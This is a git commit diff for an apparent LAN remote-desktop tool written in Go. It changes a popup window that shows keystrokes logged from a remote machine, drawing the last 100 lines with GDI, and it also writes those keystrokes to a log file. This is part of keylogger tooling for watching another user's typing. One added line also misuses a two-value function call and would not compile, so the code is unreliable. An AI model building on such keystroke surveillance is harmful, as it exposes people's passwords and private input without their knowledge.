Fix keylog window display: draw text in client area using GDI instead of SetWindowText
This commit is contained in:
1 parent
7267e674c7
commit
fea74369ab
2 files changed
+85
-20
No files matched your search
@@ -19,7 +19,12 @@ import (
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
var keylogWindowHwnd uintptr
|
||||
// Keylog display state shared between event consumer and window paint handler.
|
||||
var (
|
||||
keylogMu sync.Mutex
|
||||
keylogLines []string
|
||||
keylogHwnd uintptr
|
||||
)
|
||||
|
||||
// runKeylogDisplay starts the keylogger output subsystem: a log file and an
|
||||
// optional popup window. It consumes events from the channel until closed.
|
||||
@@ -43,10 +48,7 @@ func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) {
|
||||
}
|
||||
}
|
||||
|
||||
// Single consumer goroutine that fans out to both file and window
|
||||
var mu sync.Mutex
|
||||
var lines []string
|
||||
|
||||
// Single consumer goroutine that fans out to both file and window.
|
||||
go func() {
|
||||
for event := range events {
|
||||
line := keylog.FormatEvent(keylog.KeyEvent{
|
||||
@@ -62,21 +64,18 @@ func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) {
|
||||
logFile.WriteString(line + "\n")
|
||||
}
|
||||
|
||||
// Update window display (keep last 100 lines)
|
||||
mu.Lock()
|
||||
lines = append(lines, line)
|
||||
if len(lines) > 100 {
|
||||
lines = lines[1:]
|
||||
// Update display buffer (keep last 100 lines)
|
||||
keylogMu.Lock()
|
||||
keylogLines = append(keylogLines, line)
|
||||
if len(keylogLines) > 100 {
|
||||
keylogLines = keylogLines[1:]
|
||||
}
|
||||
var sb strings.Builder
|
||||
for _, l := range lines {
|
||||
sb.WriteString(l + "\n")
|
||||
keylogMu.Unlock()
|
||||
|
||||
// Trigger repaint of the window
|
||||
if keylogHwnd != 0 {
|
||||
procInvalidateRect.Call(keylogHwnd, 0, 1)
|
||||
}
|
||||
text, _ := windows.UTF16PtrFromString(sb.String())
|
||||
if keylogWindowHwnd != 0 {
|
||||
procSetWindowTextW.Call(keylogWindowHwnd, uintptr(unsafe.Pointer(text)))
|
||||
}
|
||||
mu.Unlock()
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -120,7 +119,7 @@ func createKeylogWindow() {
|
||||
fmt.Printf("keylog window creation failed\n")
|
||||
return
|
||||
}
|
||||
keylogWindowHwnd = hwnd
|
||||
keylogHwnd = hwnd
|
||||
|
||||
// Run message loop for this window on its own goroutine
|
||||
go func() {
|
||||
@@ -134,7 +133,7 @@ func createKeylogWindow() {
|
||||
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||
}
|
||||
procDestroyWindow.Call(hwnd)
|
||||
keylogWindowHwnd = 0
|
||||
keylogHwnd = 0
|
||||
}()
|
||||
}
|
||||
|
||||
@@ -157,6 +156,65 @@ func keylogWndProc(hwnd, msg, wparam, lparam uintptr) uintptr {
|
||||
procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush)
|
||||
procDeleteObject.Call(brush)
|
||||
}
|
||||
|
||||
// Draw keylog lines in white text
|
||||
keylogMu.Lock()
|
||||
lines := make([]string, len(keylogLines))
|
||||
copy(lines, keylogLines)
|
||||
keylogMu.Unlock()
|
||||
|
||||
if len(lines) > 0 {
|
||||
// Select a monospace font for readability
|
||||
font, _, _ := procCreateFontW.Call(
|
||||
14, 0, 0, 0, 0, 0, 0, 0,
|
||||
windows.DEFAULT_CHARSET, windows.OUT_DEFAULT_PRECIS,
|
||||
windows.CLIP_DEFAULT_PRECIS, windows.DEFAULT_QUALITY,
|
||||
windows.FIXED_PITCH|windows.DEFAULT_PITCH, uintptr(unsafe.Pointer(windows.UTF16PtrFromString("Consolas"))))
|
||||
if font != 0 {
|
||||
oldFont, _, _ := procSelectObject.Call(hdc, font)
|
||||
defer procSelectObject.Call(hdc, oldFont)
|
||||
|
||||
// Set text color to white
|
||||
procSetTextColor.Call(hdc, 0xFFFFFF) // RGB(255,255,255)
|
||||
procSetBkMode.Call(hdc, windows.TRANSPARENT)
|
||||
|
||||
y := uintptr(5)
|
||||
for _, line := range lines {
|
||||
textPtr, _ := windows.UTF16PtrFromString(line)
|
||||
var rect struct {
|
||||
Left, Top, Right, Bottom int32
|
||||
}
|
||||
rect.Left = 5
|
||||
rect.Top = int32(y)
|
||||
rect.Right = r.Right - 5
|
||||
rect.Bottom = int32(y) + 16
|
||||
procDrawTextW.Call(
|
||||
hdc,
|
||||
uintptr(unsafe.Pointer(textPtr)),
|
||||
-1,
|
||||
uintptr(unsafe.Pointer(&rect)),
|
||||
windows.DT_LEFT|windows.DT_SINGLELINE)
|
||||
y += 16
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Show placeholder text if no events yet
|
||||
textPtr, _ := windows.UTF16PtrFromString("Waiting for keystrokes...")
|
||||
var rect struct {
|
||||
Left, Top, Right, Bottom int32
|
||||
}
|
||||
rect.Left = 5
|
||||
rect.Top = 5
|
||||
rect.Right = r.Right - 5
|
||||
rect.Bottom = 20
|
||||
procDrawTextW.Call(
|
||||
hdc,
|
||||
uintptr(unsafe.Pointer(textPtr)),
|
||||
-1,
|
||||
uintptr(unsafe.Pointer(&rect)),
|
||||
windows.DT_LEFT|windows.DT_SINGLELINE)
|
||||
}
|
||||
|
||||
return 0
|
||||
case wmEraseBkgnd:
|
||||
return 1 // We handle background in WM_PAINT
|
||||
|
||||
@@ -49,6 +49,13 @@ var (
|
||||
procDeleteObject = gdi32.NewProc("DeleteObject")
|
||||
procFillRect = user32.NewProc("FillRect")
|
||||
|
||||
// GDI text rendering for keylog window
|
||||
procCreateFontW = gdi32.NewProc("CreateFontW")
|
||||
procSelectObject = gdi32.NewProc("SelectObject")
|
||||
procSetTextColor = gdi32.NewProc("SetTextColor")
|
||||
procSetBkMode = gdi32.NewProc("SetBkMode")
|
||||
procDrawTextW = user32.NewProc("DrawTextW")
|
||||
|
||||
procDragAcceptFiles = shell32.NewProc("DragAcceptFiles")
|
||||
procDragQueryFileW = shell32.NewProc("DragQueryFileW")
|
||||
procDragFinish = shell32.NewProc("DragFinish")
|
||||
|
||||
Reference in new issue
Block a user